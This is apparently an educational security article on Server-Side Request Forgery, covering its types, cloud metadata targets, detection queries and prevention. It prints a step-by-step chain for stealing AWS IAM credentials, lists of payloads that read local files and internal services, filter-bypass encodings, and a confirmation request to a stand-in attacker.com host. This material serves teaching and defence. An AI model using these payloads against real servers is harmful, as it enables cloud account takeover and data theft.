A developer builds a feature: paste a URL, and the server fetches a preview of that webpage. Simple, useful — and potentially catastrophic. That same functionality can be turned against the server itself, forcing it to fetch internal services, cloud credentials, or files that were never meant to be accessible.

This is SSRF — Server-Side Request Forgery. And it’s one of the most impactful web vulnerabilities of the past decade.

TL;DR

  • SSRF tricks a server into making HTTP requests on the attacker’s behalf
  • Target: internal services, cloud metadata APIs, and local files that aren’t publicly accessible
  • In cloud environments (AWS, Azure, GCP), SSRF often leads to full account takeover
  • Bypassing filters is often trivial — IP encoding, DNS rebinding, redirects
  • Detection: monitor for outbound requests to 169.254.169.254, localhost, and internal RFC 1918 ranges

Table of Contents


What Is SSRF?

Imagine you ask a delivery company: “Can you pick up this package from this address and bring it to me?” That’s a normal request. Now imagine you give them the address of the company’s own internal warehouse — a place they’d never take outside orders from. If they just follow the instruction without checking, you’ve just bypassed their access controls.

SSRF works the same way. You give a web application a URL, and instead of your browser fetching it, the server does. The request comes from the server — which may have access to systems your browser never could reach directly.

The vulnerability appears whenever an application:

  • Fetches content from a user-supplied URL
  • Makes webhook or callback requests to URLs you control
  • Imports data from remote sources (documents, images, feeds)
  • Makes DNS lookups or backend API calls based on user input

How It Works

Here’s the basic flow:

Normal flow:
Browser → [Public URL] → Internet → Response
SSRF flow:
Browser → [Malicious URL] → Server → Internal Target → Response → Back to attacker

The attacker never talks to the internal service directly. The server does it — and hands back the result.

Simple example:

A web app has a URL preview feature:

POST /preview
{"url": "https://example.com/article"}

The server fetches the page and shows a preview. Now the attacker sends:

POST /preview
{"url": "http://localhost/admin"}

The server fetches its own admin panel and returns the HTML. The attacker now reads a page they could never access from outside.


Types of SSRF

TypeHow It WorksWhat You Get
Basic SSRFServer returns the fetched content directlyFull response body visible
Blind SSRFServer makes the request but doesn’t return contentOnly confirms the request was made
Semi-blind SSRFServer leaks partial data (errors, timing, DNS lookups)Indirect information

Blind SSRF is more common than you’d think. Even if you can’t see the response, you can:

  • Detect open ports by timing differences (open ports respond fast, closed ones don’t)
  • Confirm requests via your own server (use Burp Collaborator or interactsh)
  • Trigger out-of-band DNS lookups to confirm execution

What Attackers Target

Once SSRF is confirmed, the attacker maps out what the server can reach:

Internal Services

Company networks typically have services running that are never exposed publicly:

http://localhost/admin
http://192.168.1.1/ # Router admin panel
http://10.0.0.5:8080/api/v1 # Internal API
http://127.0.0.1:6379/ # Redis (often unauthenticated)
http://127.0.0.1:9200/ # Elasticsearch
http://127.0.0.1:2375/ # Docker daemon API (no auth by default)

Redis and Elasticsearch without authentication are a goldmine — they often contain session tokens, API keys, user data, and application state.

Local Files

Using alternative URL schemes, the attacker may read files directly:

file:///etc/passwd
file:///etc/hosts
file:///proc/self/environ # Environment variables (often contains secrets)
file:///app/.env # Application config

Cloud Metadata Services

This is where SSRF goes from “interesting” to “catastrophic” — and where most real-world damage happens.


SSRF in Cloud Environments

Every major cloud provider (AWS, Azure, GCP) runs a metadata service — an internal HTTP endpoint that virtual machines can query to get information about themselves: instance ID, region, IAM role credentials, bootstrap scripts.

The endpoint is always at a link-local address, reachable only from within the VM:

CloudMetadata URL
AWShttp://169.254.169.254/latest/meta-data/
Azurehttp://169.254.169.254/metadata/instance?api-version=2021-02-01
GCPhttp://metadata.google.internal/computeMetadata/v1/

These services were designed to be accessible only by the instance itself. But if a web application running on that instance is vulnerable to SSRF, an attacker can use the application as a proxy to query the metadata service.

On AWS, the metadata service can return temporary IAM credentials:

http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>

Response:

{
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-04-09T18:00:00Z"
}

Those are real, valid credentials — usable immediately with the AWS CLI from anywhere in the world.


Attack Chain: SSRF to AWS Account Takeover

Here’s how a real attack unfolds, step by step:

Step 1 — Find the SSRF

The attacker finds a URL input — image fetcher, webhook, link preview, PDF generator. Sends a payload pointing to their own server to confirm the server is making requests:

{"url": "http://attacker.com/test"}

Attacker’s server logs an incoming request from the target’s IP. SSRF confirmed.

Step 2 — Query the Metadata Service

{"url": "http://169.254.169.254/latest/meta-data/"}

If the server returns a list of metadata categories, the instance is on AWS and the metadata service is reachable. Next, check for IAM roles:

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}

This returns the role name, e.g. ec2-production-role.

Step 3 — Steal the Credentials

{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/ec2-production-role"}

The server responds with temporary AWS credentials.

Step 4 — Use Credentials from Outside

Terminal window
export AWS_ACCESS_KEY_ID="ASIA..."
export AWS_SECRET_ACCESS_KEY="..."
export AWS_SESSION_TOKEN="..."
# Check who we are
aws sts get-caller-identity
# List S3 buckets
aws s3 ls
# Read secrets
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database

Step 5 — Escalate

Depending on the IAM role’s permissions, the attacker can:

  • Read all S3 buckets (customer data, backups, credentials)
  • Access databases via Secrets Manager
  • Create new IAM users with permanent credentials
  • Deploy Lambda functions or EC2 instances for persistence
  • Move laterally to other services (RDS, DynamoDB, SNS, SES)

A single SSRF vulnerability, exploited in under 10 minutes, can result in full AWS environment compromise.


Common Payloads

Basic Targets

# Localhost variations
http://localhost/
http://127.0.0.1/
http://0.0.0.0/
http://[::1]/ # IPv6 loopback
# AWS metadata
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
# Internal ranges
http://10.0.0.1/
http://192.168.1.1/
http://172.16.0.1/

Alternative Schemes

file:///etc/passwd
dict://localhost:6379/info # Redis info dump
gopher://localhost:6379/... # Redis command injection

Port Scanning (Blind)

http://127.0.0.1:22/ # SSH
http://127.0.0.1:3306/ # MySQL
http://127.0.0.1:5432/ # PostgreSQL
http://127.0.0.1:8080/ # Common internal HTTP

Timing differences (fast response vs timeout vs connection refused) reveal which ports are open.


Bypassing SSRF Filters

Many applications try to block SSRF by checking the URL before making the request. These filters are often easy to bypass.

IP Encoding

All of these resolve to 127.0.0.1:

http://2130706433/ # Decimal notation
http://0x7f000001/ # Hex notation
http://0177.0.0.1/ # Octal notation
http://127.1/ # Short form
http://127.000.000.001/ # Leading zeros

DNS-Based Bypass

Register a domain that resolves to an internal IP:

# nip.io resolves subdomains to IP addresses
http://127.0.0.1.nip.io/
# Custom DNS: attacker's domain resolves to 127.0.0.1
http://internal.attacker.com/

Open Redirect

If the application follows redirects, use an open redirect on a trusted domain:

https://trusted-site.com/redirect?url=http://169.254.169.254/

URL Confusion

http://evil.com@169.254.169.254/ # URL authority confusion
http://169.254.169.254#.evil.com/ # Fragment confusion
http://169.254.169.254%2F@evil.com/ # URL encoding

Case Variation and Unicode

http://Localhost/
http://LOCALHOST/
http://localНost/ # Cyrillic 'Н' that normalizes to 'N'

DNS Rebinding

The attacker’s domain first resolves to a legitimate IP (passing the filter), then immediately re-resolves to 127.0.0.1 when the actual HTTP request is made. Requires precise timing but defeats many server-side DNS-check-based protections.


Attacker Mindset

“I don’t need to reach the internal network directly. I just need the server to do it for me.”

When an attacker finds an SSRF, the first question is: where is this server running?

  • Is there an X-Powered-By, Server, or error message hinting at cloud infrastructure?
  • Does the response time to 169.254.169.254 suggest AWS?
  • Can a DNS lookup confirm the hostname resolves to an EC2 or cloud IP?

The goal isn’t just to read /etc/passwd. That’s a proof-of-concept. The real prize is credentials — cloud API keys, database passwords, service tokens. Everything that opens the next door.

In modern cloud environments, the attacker doesn’t need to escalate privileges. The IAM role assigned to the instance often already has broad permissions — because developers gave the app “what it needed” without following least privilege. SSRF hands those permissions to the attacker.


Real-World Impact

SSRF vulnerabilities have caused some of the most significant data breaches in recent history.

Capital One (2019) — A misconfigured WAF on an AWS EC2 instance was vulnerable to SSRF. The attacker used it to query the metadata service, stole IAM credentials, and accessed over 100 million customer records from S3 buckets. The breach resulted in a $190 million settlement.

GitLab (2021) — A GitLab SSRF vulnerability allowed attackers to make requests to internal services. Combined with other weaknesses, it enabled access to internal infrastructure. GitLab paid out a $20,000 bug bounty.

Shopify, Twitch, Lyft, Reddit — All have disclosed SSRF vulnerabilities in their bug bounty programs. Cloud metadata service access is consistently rated Critical severity.

SSRF is listed in the OWASP Top 10 (2021) as its own category (A10:2021) — the first time it received dedicated status, reflecting how common and severe it has become.


Detection

What to Monitor

Blue team perspective — these are your signals:

Outbound requests to metadata services:

# AWS metadata — should NEVER come from app servers
http://169.254.169.254/
http://fd00:ec2::254/ # IPv6 AWS metadata
# Azure metadata
http://169.254.169.254/metadata/
# GCP metadata
http://metadata.google.internal/
http://169.254.169.254/computeMetadata/

Requests to internal RFC 1918 ranges from application processes:

  • 10.0.0.0/8
  • 172.16.0.0/12
  • 192.168.0.0/16
  • 127.0.0.0/8

Unusual URL schemes in application logs:

  • file://, dict://, gopher://, ftp://

Splunk / SIEM Query

index=web_logs
| search url="*169.254.169.254*" OR url="*localhost*" OR url="*127.0.0.1*"
| table _time, src_ip, url, user_agent, response_code
index=network
dest_ip IN (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 127.0.0.0/8)
src_category=web_server
| stats count by src_ip, dest_ip, dest_port

AWS CloudTrail Signal

If SSRF was used to steal metadata credentials, watch for:

  • GetCallerIdentity calls from unusual IPs with instance profile credentials
  • ListBuckets, GetObject or ListSecrets from IP addresses not in your AWS environment
  • Credentials used simultaneously from two different geographic locations
{
"eventSource": "sts.amazonaws.com",
"eventName": "GetCallerIdentity",
"sourceIPAddress": "X.X.X.X",
"userAgent": "aws-cli/2.x"
}

Legitimate IAM role usage from EC2 will show the instance’s VPC IP — external IP addresses using instance profile credentials are a red flag.


Prevention

1. Allowlist, Not Blocklist

Don’t try to block bad URLs — there are too many bypasses. Instead, define exactly which external domains the application is allowed to contact, and reject everything else.

ALLOWED_DOMAINS = {"api.example.com", "cdn.example.com"}
from urllib.parse import urlparse
def is_allowed(url: str) -> bool:
parsed = urlparse(url)
return parsed.hostname in ALLOWED_DOMAINS

2. Resolve DNS Before Checking

After resolving the hostname to an IP, verify the IP is not in a private range:

import socket
import ipaddress
def is_safe_ip(hostname: str) -> bool:
ip = socket.gethostbyname(hostname)
addr = ipaddress.ip_address(ip)
return not (addr.is_private or addr.is_loopback or addr.is_link_local)

Be aware of DNS rebinding — resolve once and use that IP for the actual connection. Don’t resolve twice.

3. Disable Unnecessary URL Schemes

Allow only https:// (and http:// if needed). Explicitly block file://, dict://, gopher://, ftp://.

4. AWS IMDSv2 (Instance Metadata Service v2)

AWS provides IMDSv2, which requires a session token obtained via a PUT request before metadata can be retrieved. Simple HTTP GET requests (the kind SSRF makes) no longer work.

Terminal window
# Enforce IMDSv2 on existing instances
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required \
--http-endpoint enabled

This is the single most effective mitigation for cloud metadata SSRF. Enable it on every EC2 instance.

5. Network Segmentation

Application servers should not have network access to cloud metadata services or internal admin interfaces by default. Use security groups, VPC ACLs, and firewall rules to enforce this.

6. Least Privilege IAM

Even if SSRF occurs and metadata credentials are stolen, minimize the damage by following least privilege:

  • EC2 IAM roles should have only the permissions that application actually needs
  • Avoid * actions or resource policies
  • Use IAM Access Analyzer to identify overly permissive policies

What You Can Do Today

If you’re a developer:

  • Audit every place your application fetches remote URLs
  • Implement an allowlist for external domains
  • Enable IMDSv2 on all EC2 instances
  • Add is_safe_ip() validation before making outbound requests

If you’re a pentester:

  • Test all URL input fields, webhook configs, import features, and image fetchers
  • Confirm SSRF via out-of-band DNS (Burp Collaborator, interactsh)
  • Always try 169.254.169.254 in AWS environments — it’s the highest-impact target
  • Test bypass techniques when basic payloads are blocked

If you’re a security engineer / blue team:

  • Alert on any application-tier HTTP requests to 169.254.169.254
  • Monitor CloudTrail for instance profile credentials used from external IPs
  • Ensure IMDSv2 is enforced across your AWS fleet (aws ec2 describe-instances --query '...[?MetadataOptions.HttpTokens!=required]')


Sources